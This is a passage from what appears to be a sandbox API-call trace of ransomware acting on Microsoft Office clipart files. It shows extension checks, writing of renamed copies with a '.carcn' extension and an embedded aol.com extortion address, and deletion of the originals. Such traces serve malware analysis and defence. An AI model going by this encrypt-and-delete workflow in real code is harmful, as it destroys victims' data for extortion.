Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0295.644] lstrlenW (lpString=".jpg") returned 4 [0295.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.644] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.644] lstrlenW (lpString="BD06102_.WMF") returned 12 [0295.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.645] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=16112) returned 1 [0295.645] CloseHandle (hObject=0x364) returned 1 [0295.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0295.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.646] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.646] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0295.647] GetLastError () returned 0x0 [0295.647] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0295.648] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0295.649] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.649] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.649] SetEndOfFile (hFile=0x340) returned 1 [0295.650] CloseHandle (hObject=0x340) returned 1 [0295.650] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.650] SetEndOfFile (hFile=0x364) returned 1 [0295.651] CloseHandle (hObject=0x364) returned 1 [0295.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0295.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.652] lstrlenW (lpString=".doc") returned 4 [0295.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.652] lstrlenW (lpString=".docx") returned 5 [0295.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.652] lstrlenW (lpString=".pdf") returned 4 [0295.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.652] lstrlenW (lpString=".xls") returned 4 [0295.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.652] lstrlenW (lpString=".xlsx") returned 5 [0295.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.653] lstrlenW (lpString=".ppt") returned 4 [0295.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.653] lstrlenW (lpString=".zip") returned 4 [0295.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.653] lstrlenW (lpString=".rar") returned 4 [0295.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.653] lstrlenW (lpString=".bz2") returned 4 [0295.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.653] lstrlenW (lpString=".7z") returned 3 [0295.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.653] lstrlenW (lpString=".dbf") returned 4 [0295.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.653] lstrlenW (lpString=".1cd") returned 4 [0295.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.653] lstrlenW (lpString=".jpg") returned 4 [0295.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.653] lstrlenW (lpString=".doc") returned 4 [0295.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.653] lstrlenW (lpString=".docx") returned 5 [0295.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.653] lstrlenW (lpString=".pdf") returned 4 [0295.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.654] lstrlenW (lpString=".xls") returned 4 [0295.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.654] lstrlenW (lpString=".xlsx") returned 5 [0295.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.654] lstrlenW (lpString=".ppt") returned 4 [0295.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.654] lstrlenW (lpString=".zip") returned 4 [0295.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.654] lstrlenW (lpString=".rar") returned 4 [0295.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.654] lstrlenW (lpString=".bz2") returned 4 [0295.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.654] lstrlenW (lpString=".7z") returned 3 [0295.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.654] lstrlenW (lpString=".dbf") returned 4 [0295.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.654] lstrlenW (lpString=".1cd") returned 4 [0295.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0295.654] lstrlenW (lpString=".jpg") returned 4 [0295.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.655] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.655] lstrlenW (lpString="BD06200_.WMF") returned 12 [0295.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.655] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=16676) returned 1 [0295.655] CloseHandle (hObject=0x364) returned 1 [0295.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0295.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.656] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.656] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0295.657] GetLastError () returned 0x0 [0295.657] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x4124, lpOverlapped=0x0) returned 1 [0295.674] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4130, lpOverlapped=0x0) returned 1 [0295.676] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.676] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.676] SetEndOfFile (hFile=0x340) returned 1 [0295.676] CloseHandle (hObject=0x340) returned 1 [0295.677] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.677] SetEndOfFile (hFile=0x364) returned 1 [0295.678] CloseHandle (hObject=0x364) returned 1 [0295.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0295.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.679] lstrlenW (lpString=".doc") returned 4 [0295.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.679] lstrlenW (lpString=".docx") returned 5 [0295.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.679] lstrlenW (lpString=".pdf") returned 4 [0295.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.679] lstrlenW (lpString=".xls") returned 4 [0295.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.679] lstrlenW (lpString=".xlsx") returned 5 [0295.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.679] lstrlenW (lpString=".ppt") returned 4 [0295.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.679] lstrlenW (lpString=".zip") returned 4 [0295.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.679] lstrlenW (lpString=".rar") returned 4 [0295.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.680] lstrlenW (lpString=".bz2") returned 4 [0295.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.680] lstrlenW (lpString=".7z") returned 3 [0295.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.680] lstrlenW (lpString=".dbf") returned 4 [0295.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.680] lstrlenW (lpString=".1cd") returned 4 [0295.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.680] lstrlenW (lpString=".jpg") returned 4 [0295.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.680] lstrlenW (lpString=".doc") returned 4 [0295.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.680] lstrlenW (lpString=".docx") returned 5 [0295.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.680] lstrlenW (lpString=".pdf") returned 4 [0295.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.680] lstrlenW (lpString=".xls") returned 4 [0295.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.680] lstrlenW (lpString=".xlsx") returned 5 [0295.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.681] lstrlenW (lpString=".ppt") returned 4 [0295.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.681] lstrlenW (lpString=".zip") returned 4 [0295.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.681] lstrlenW (lpString=".rar") returned 4 [0295.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.681] lstrlenW (lpString=".bz2") returned 4 [0295.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.681] lstrlenW (lpString=".7z") returned 3 [0295.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.681] lstrlenW (lpString=".dbf") returned 4 [0295.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.682] lstrlenW (lpString=".1cd") returned 4 [0295.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0295.682] lstrlenW (lpString=".jpg") returned 4 [0295.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.682] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.682] lstrlenW (lpString="BD07761_.WMF") returned 12 [0295.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.683] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=26748) returned 1 [0295.683] CloseHandle (hObject=0x364) returned 1 [0295.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0295.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.683] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.683] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0295.684] GetLastError () returned 0x0 [0295.684] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x687c, lpOverlapped=0x0) returned 1 [0295.686] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x6880, lpOverlapped=0x0) returned 1 [0296.128] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.128] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.128] SetEndOfFile (hFile=0x340) returned 1 [0296.128] CloseHandle (hObject=0x340) returned 1 [0296.128] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.128] SetEndOfFile (hFile=0x364) returned 1 [0296.129] CloseHandle (hObject=0x364) returned 1 [0296.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0296.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.130] lstrlenW (lpString=".doc") returned 4 [0296.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.131] lstrlenW (lpString=".docx") returned 5 [0296.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.131] lstrlenW (lpString=".pdf") returned 4 [0296.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.131] lstrlenW (lpString=".xls") returned 4 [0296.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.131] lstrlenW (lpString=".xlsx") returned 5 [0296.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.131] lstrlenW (lpString=".ppt") returned 4 [0296.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.131] lstrlenW (lpString=".zip") returned 4 [0296.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.131] lstrlenW (lpString=".rar") returned 4 [0296.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.131] lstrlenW (lpString=".bz2") returned 4 [0296.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.131] lstrlenW (lpString=".7z") returned 3 [0296.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.131] lstrlenW (lpString=".dbf") returned 4 [0296.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.131] lstrlenW (lpString=".1cd") returned 4 [0296.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.131] lstrlenW (lpString=".jpg") returned 4 [0296.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.132] lstrlenW (lpString=".doc") returned 4 [0296.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.132] lstrlenW (lpString=".docx") returned 5 [0296.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.132] lstrlenW (lpString=".pdf") returned 4 [0296.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.132] lstrlenW (lpString=".xls") returned 4 [0296.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.132] lstrlenW (lpString=".xlsx") returned 5 [0296.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.132] lstrlenW (lpString=".ppt") returned 4 [0296.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.132] lstrlenW (lpString=".zip") returned 4 [0296.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.132] lstrlenW (lpString=".rar") returned 4 [0296.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.132] lstrlenW (lpString=".bz2") returned 4 [0296.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.132] lstrlenW (lpString=".7z") returned 3 [0296.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.132] lstrlenW (lpString=".dbf") returned 4 [0296.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.132] lstrlenW (lpString=".1cd") returned 4 [0296.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0296.133] lstrlenW (lpString=".jpg") returned 4 [0296.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.133] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.133] lstrlenW (lpString="BD09664_.WMF") returned 12 [0296.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft 